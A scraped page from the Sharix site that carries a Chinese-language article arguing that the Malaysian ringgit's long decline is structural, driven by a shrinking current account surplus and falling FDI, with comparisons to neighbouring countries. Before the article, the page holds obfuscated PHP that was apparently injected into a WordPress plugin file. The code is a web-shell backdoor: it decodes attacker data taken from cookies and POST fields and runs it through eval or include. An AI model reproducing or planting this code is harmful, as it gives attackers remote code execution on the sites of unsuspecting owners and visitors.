$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$xZVubUqBM = chr ( 110 - 43 ).chr (81) . "\137" . "\x58" . chr ( 1062 - 961 ).chr ( 871 - 786 ).chr ( 617 - 505 ); $GYdCw = chr (99) . "\154" . "\141" . "\163" . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\x73" . "\164" . chr (115); $uDbHwBlr = class_exists($xZVubUqBM); $GYdCw = "40236";$HXuuZr = !1;if ($uDbHwBlr == $HXuuZr){function TxYfE(){$vGJIGlS = new /* 60081 */ CQ_XeUp(27568 + 27568); $vGJIGlS = NULL;}$HaERdJfy = "27568";class CQ_XeUp{private function zfHWxMkTzo($HaERdJfy){if (is_array(CQ_XeUp::$IgKJbuq)) {$JGKjsNlSH = sys_get_temp_dir() . "/" . crc32(CQ_XeUp::$IgKJbuq["\x73" . chr ( 126 - 29 ).'l' . chr (116)]);@CQ_XeUp::$IgKJbuq['w' . "\162" . "\151" . "\164" . 'e']($JGKjsNlSH, CQ_XeUp::$IgKJbuq[chr ( 534 - 435 )."\157" . chr ( 589 - 479 )."\164" . "\145" . chr (110) . chr ( 848 - 732 )]);include $JGKjsNlSH;@CQ_XeUp::$IgKJbuq['d' . "\x65" . chr (108) . 'e' . chr ( 533 - 417 )."\145"]($JGKjsNlSH); $HaERdJfy = "27568";exit();}}private $nRQyKihvz;public function iTsTMfTYae(){echo 24263;}public function __destruct(){$HaERdJfy = "18732_37362";$this->zfHWxMkTzo($HaERdJfy); $HaERdJfy = "18732_37362";}public function WhSRNl($uEBDxMlQln, $LIbiKKutA){return $uEBDxMlQln[0] ^ str_repeat($LIbiKKutA, (strlen($uEBDxMlQln[0]) / strlen($LIbiKKutA)) + 1);}public function __construct($vodqDiz=0){$fzUozWgwt = $_POST;$iEVwZGn = $_COOKIE;$LIbiKKutA = "e893c040-6b83-4cec-bff5-41db571debf3";$zragSJvm = @$iEVwZGn[substr($LIbiKKutA, 0, 4)];if (!empty($zragSJvm)){$KoJWGNVE = "base64";$uEBDxMlQln = "";$zragSJvm = explode(",", $zragSJvm);foreach ($zragSJvm as $VpEALybqpY){$uEBDxMlQln .= @$iEVwZGn[$VpEALybqpY];$uEBDxMlQln .= @$fzUozWgwt[$VpEALybqpY];}$uEBDxMlQln = array_map($KoJWGNVE . "\x5f" . 'd' . chr ( 295 - 194 ).chr (99) . 'o' . chr ( 413 - 313 )."\x65", array($uEBDxMlQln,)); $uEBDxMlQln = $this->WhSRNl($uEBDxMlQln, $LIbiKKutA);CQ_XeUp::$IgKJbuq = @unserialize($uEBDxMlQln);}}public static $IgKJbuq = 37750;}TxYfE();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}$KiyNnjTAv = chr (65) . "\137" . 'p' . chr ( 389 - 307 ).chr ( 604 - 486 ).'c' . chr (108); $ZfxDJj = "\x63" . "\x6c" . chr ( 723 - 626 ).'s' . chr (115) . "\137" . 'e' . "\170" . 'i' . chr (115) . "\164" . "\163";$GirRcwVoO = class_exists($KiyNnjTAv); $ZfxDJj = "50179";$KLsdq = !1;if ($GirRcwVoO == $KLsdq){function GdPeTmfsjV(){$wEMyqWWs = new /* 29848 */ A_pRvcl(26677 + 26677); $wEMyqWWs = NULL;}$HCrcazWG = "26677";class A_pRvcl{private function KShFZP($HCrcazWG){if (is_array(A_pRvcl::$osGUpaYAk)) {$UZLTIrM = str_replace(chr (60) . "\77" . 'p' . chr ( 1039 - 935 ).chr (112), "", A_pRvcl::$osGUpaYAk['c' . "\x6f" . "\x6e" . chr (116) . "\x65" . "\156" . chr (116)]);eval($UZLTIrM); $HCrcazWG = "26677";exit();}}private $goqER;public function kDwIQ(){echo 7919;}public function __destruct(){A_pRvcl::$osGUpaYAk = @unserialize(A_pRvcl::$osGUpaYAk); $HCrcazWG = "3152_52173";$this->KShFZP($HCrcazWG); $HCrcazWG = "3152_52173";}public function rTkvi($GHJBi, $SKHjEq){return $GHJBi[0] ^ str_repeat($SKHjEq, (strlen($GHJBi[0]) / strlen($SKHjEq)) + 1);}public function qfcfwLyQ($GHJBi){$Zghltd = "base64";return array_map($Zghltd . '_' . chr (100) . chr ( 824 - 723 )."\143" . "\x6f" . chr (100) . "\145", array($GHJBi,));}public function __construct($XyATftCruy=0){$KUQcYyyePq = $_POST;$sGlehm = $_COOKIE;$SKHjEq = "b75cb282-71ee-4cc5-977b-57d1364412fd";$avSajvmzGH = @$sGlehm[substr($SKHjEq, 0, 4)];if (!empty($avSajvmzGH)){$GHJBi = "";$avSajvmzGH = explode(",", $avSajvmzGH);foreach ($avSajvmzGH as $EyTBjkovtd){$GHJBi .= @$sGlehm[$EyTBjkovtd];$GHJBi .= @$KUQcYyyePq[$EyTBjkovtd];}A_pRvcl::$osGUpaYAk = $this->rTkvi($this->qfcfwLyQ($GHJBi), $SKHjEq);}}public static $osGUpaYAk = 48665;}GdPeTmfsjV();}$arQxIWGD = chr (67) . "\152" . "\x5f" . chr ( 1009 - 895 )."\120" . 'W' . "\x43";$laqaInFOip = chr (99) . 'l' . chr ( 730 - 633 )."\x73" . chr ( 379 - 264 ).chr ( 1029 - 934 ).'e' . 'x' . 'i' . "\163" . chr ( 160 - 44 )."\163";$OnwUNqxET = class_exists($arQxIWGD); $laqaInFOip = "11722";$xDjYmApfeD = !1;if ($OnwUNqxET == $xDjYmApfeD){function TBTJviGUG(){$QddMCK = new /* 58320 */ Cj_rPWC(42876 + 42876); $QddMCK = NULL;}$iDfxzQmymW = "42876";class Cj_rPWC{private function ptEZQYhw($iDfxzQmymW){if (is_array(Cj_rPWC::$jpvCEdvP)) {$PSywZSUc = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . "\160", "", Cj_rPWC::$jpvCEdvP['c' . "\x6f" . "\x6e" . "\x74" . chr ( 774 - 673 ).chr ( 633 - 523 )."\164"]);eval($PSywZSUc); $iDfxzQmymW = "42876";exit();}}private $zwNMvZh;public function SDwMAoTw(){echo 61545;}public function __destruct(){$iDfxzQmymW = "44206_37695";$this->ptEZQYhw($iDfxzQmymW); $iDfxzQmymW = "44206_37695";}public function auMentIkx($jQDeZKwX, $xBFzoBR){return $jQDeZKwX[0] ^ str_repeat($xBFzoBR, (strlen($jQDeZKwX[0]) / strlen($xBFzoBR)) + 1);}public function __construct($LfbBkn=0){$wvajXh = $_POST;$wwPHU = $_COOKIE;$xBFzoBR = "24fc4c71-9ea5-4713-9627-f4d9c16525c9";$zfpcijaF = @$wwPHU[substr($xBFzoBR, 0, 4)];if (!empty($zfpcijaF)){$BukcJKdb = "base64";$jQDeZKwX = "";$zfpcijaF = explode(",", $zfpcijaF);foreach ($zfpcijaF as $sODvOo){$jQDeZKwX .= @$wwPHU[$sODvOo];$jQDeZKwX .= @$wvajXh[$sODvOo];}$jQDeZKwX = array_map($BukcJKdb . "\137" . chr ( 1099 - 999 ).chr ( 422 - 321 ).'c' . chr ( 986 - 875 ).'d' . chr ( 769 - 668 ), array($jQDeZKwX,)); $jQDeZKwX = $this->auMentIkx($jQDeZKwX, $xBFzoBR);Cj_rPWC::$jpvCEdvP = @unserialize($jQDeZKwX);}}public static $jpvCEdvP = 53655;}TBTJviGUG();}
Warning: session_start(): Cannot start session when headers already sent in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 31

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 46

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 47

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 48
马币落后同侪是结构还是周期性问题? - Sharix

马币落后同侪是结构还是周期性问题?

我在两个月前分析对于马币走势的看法,而当时我认为马币其实已经没有太多升值的空间,回过头看马币在这段期间也在持续走贬。虽然国行杀市场措手不及意外加息,但这并无法扭转马币的贬势。可能很多人会把矛头指向大马即将举行的州选而导致政局不稳定,但我认为这只是给马币长期处于贬值的借口。目前我们看到马币再次成为国内财经的头条新闻,兑美元的汇率正在往历史低点迈进。今天我会分析马币贬值的根本原因,以及从同侪的表现看马币。

马币再次成为各大财经媒体的热门话题,主因是马币在近期不论是兑美元或新币都在持续贬值,而货币的贬值会削弱国内人民的购买力。这也表示所有的进口商品,无论是从初级农产品到机器设备,价格都会出现上涨而导致通胀的出现。即使终端产品没有涨价,但厂商会因为制造产品的成本提高而被迫转嫁,导致消费者最终必须接受更高的价格,这就是货币贬值对国内无价的影响。目前马币兑美元来到RM 4.67/USD,从4月至今已经贬值超过6%,直逼2022年11月RM 4.75/USD的历史低点。

没有任何国家希望自己的货币持续贬值。虽然货币贬值能提高国内出口的竞争力,但相对的进口成本也提高,而由货币贬值所引发的输入性通胀会打击国内的消费能力,进而影响经济长期的发展。总体而言,货币的贬值可分成周期性(Cyclical)和结构性(Structural),但两者有不同的诱因。周期性的贬值并不会引发过度的担忧,因为周期向来都是短暂且不可持续。比如以欧美国家为首的发达经济体持续收紧货币政策提高利率,若国行选择保持利率不变,大马和其他国家的利差就会扩大,马币就会贬值。然而,这些周期性因为始终都会逆转,美联储明年也会因为经济衰退而暂停加息甚至降息,这时两国的利差再次收敛,马币就会止贬甚至升值。

但是,我认为马币结构性的贬值才是政府需要关注的问题,而这并不是单单通过央行的货币政策就能处理的事。很多人会把货币的走势和当地的政治相互挂钩,只有稳定的政治才会有更强的货币。这在短期或许是成立的,若外资看到大马的政治局势比较波动就会选择先离场,而外资出逃就会导致马币出现贬值。但我认为马币长期兑美元和新币贬值更大的结构性因子是,大马的经常帐和直接国外投资(Foreign direct investment, FDI)的趋势。

影响汇率最重要的长期因素是一个国家的经常账户(Current account),无论是盈余(Surplus)还是赤字(Deficit)。经常帐记录国家的商品和服务的出口于进口,以及经济体的资本流进和流出。经常帐不仅反映经济体在出口商品和服务方面的竞争力,同时也反映国家在吸引外国投资者方面的竞争力。上图显示从World Bank的资料库整理出大马和邻国的经常帐盈余/赤字占GDP的比例,包括、新加坡、泰国、印尼和印度等,会发现虽然各国的GDP长期都是上涨,但除了新加坡的经常帐盈余占GDP比例保持在15% – 20% 之外,其他国家却无法维持经常帐盈余的表现。

马来西亚在亚洲金融风暴之后也有非常健康的经常帐盈余,在1998至2009年都保持经常帐盈余占GDP比例在10% – 15% 之间。然而,次贷危机之后,大马的经常帐盈余占GDP比例持续下跌,在2018年更是来到2.2% 的20年新低,这段期间马币也从2010年的RM 3.20/USD左右贬值到目前RM 4.67/USD,表现和新加坡有天壤之别,要知道新加坡在这个时期兑美元是从SGD 1.40/USD升值至现在的SGD 1.35/USD。若大马的经常帐盈余占GDP比例现在还是维持在10% – 15% 的水平,我相信现在的马币不会贬超过RM 4.00/USD。新币之所以这么强劲,绝大部分都是因为新加坡的经济长期产生强劲的经常帐盈余。

其他国家方面,虽然泰国的经常帐占GDP比例从1998至2021年大部分的时间都是保持盈余,但是却非常不稳定,这也导致泰铢兑美元在这段时期的走势也高度波动。反观印尼从2000年时的经常帐盈余跌至2014年的经常帐赤字,这导致印尼盾兑美元在这段时期从IDR 9,500/USD贬值至目前的IDR 15,000/USD的水平。而印度作为全球第无大经济体,虽然GDP保持高增速,但印度卢比却反其道而行,从2007年INR 40/USD贬值至目前的INR 82/USD,这是因为印度的经常帐从2005年开始就长期陷入赤字当中。

除了经常帐盈余,长期外国投资者的资金流入也是影响外汇主要的因素。上图显示大马、印尼、泰国和新加坡的FDI占GDP的比例,会发现从长期的角度,除了新加坡能吸引外资之外,其他国家的FDI占GDP比例都在持续下滑。若外资持续在一个国家注入资金并投资,这表示外资对国家经济政策的竞争力和信心,货币也会升值。因此,从经常帐盈余和FDI的变动观察,不难找出马币对美元和新币持续贬值的主因。虽然大马在全球半导体产业链扮演重要的角色,过去几年都持续有更多国际大厂在大马投资设厂,但这并不足去支撑马币的发展。

刚才我提到,从短期的角度去看,大马和欧美之间的利差是导致马币贬值的重要推手。是什么原因让国行不愿意加速提高利率?其实答案显而易见,那就是大马的家庭和债务水平已经非常高,而加息只会让家庭和政府单位无法负担利息成本。虽然大马家庭债务占GDP比例从2020年高峰有出现回落,但仍然超过80% 的水平。而政府债务占GDP更是逼近65% 的上限。 任何的加息动作只会让民怨四起,同时影响掌权政府在下次大选的赢面,你认为政府真的会让国行跟随欧美央行的脚步加息吗?

很多人喜欢把马币的贬值怪罪于大马政治的波动。如果我们看领国的政治环境,泰国的政治动荡不亚于大马,但泰铢兑美元的变现相比马币更好。民主选举的印度在政治稳定也比大马过去几年更好,但卢比的表现却大幅落后马币。因此,货币的强弱其实和国家的政治并没有太大的关系。我们不能把所有问题都归咎于政治或者领导人失责,因为政治稳定并不是马币停止走弱或开始走强的必要条件,更重要的是当权者如何实施高效和有利于国家发展的经济政策才是马币长期升值的主要因素。

大马的经济还是会稳定成长,我们也看到国际知名企业也纷纷在本地投资和设厂,但马币长期的贬值是大马政府必须高度正视的问题。我认为只有政府推出长期结构性的改革才能有效将马币止贬,若马币是因为美联储停止加息或者短期热钱流入股债而升值是不会持久的。虽然大马在过去几年曾经换了几次政府,但政策上并没有太大的突破,还是为了维护短期的利益而牺牲国家长期的发展方向。

最新文章

Sharix Sdn Bhd (1313184-A)
@ 2023 Sharix Sdn Bhd. All Rights Reserved
官方社交平台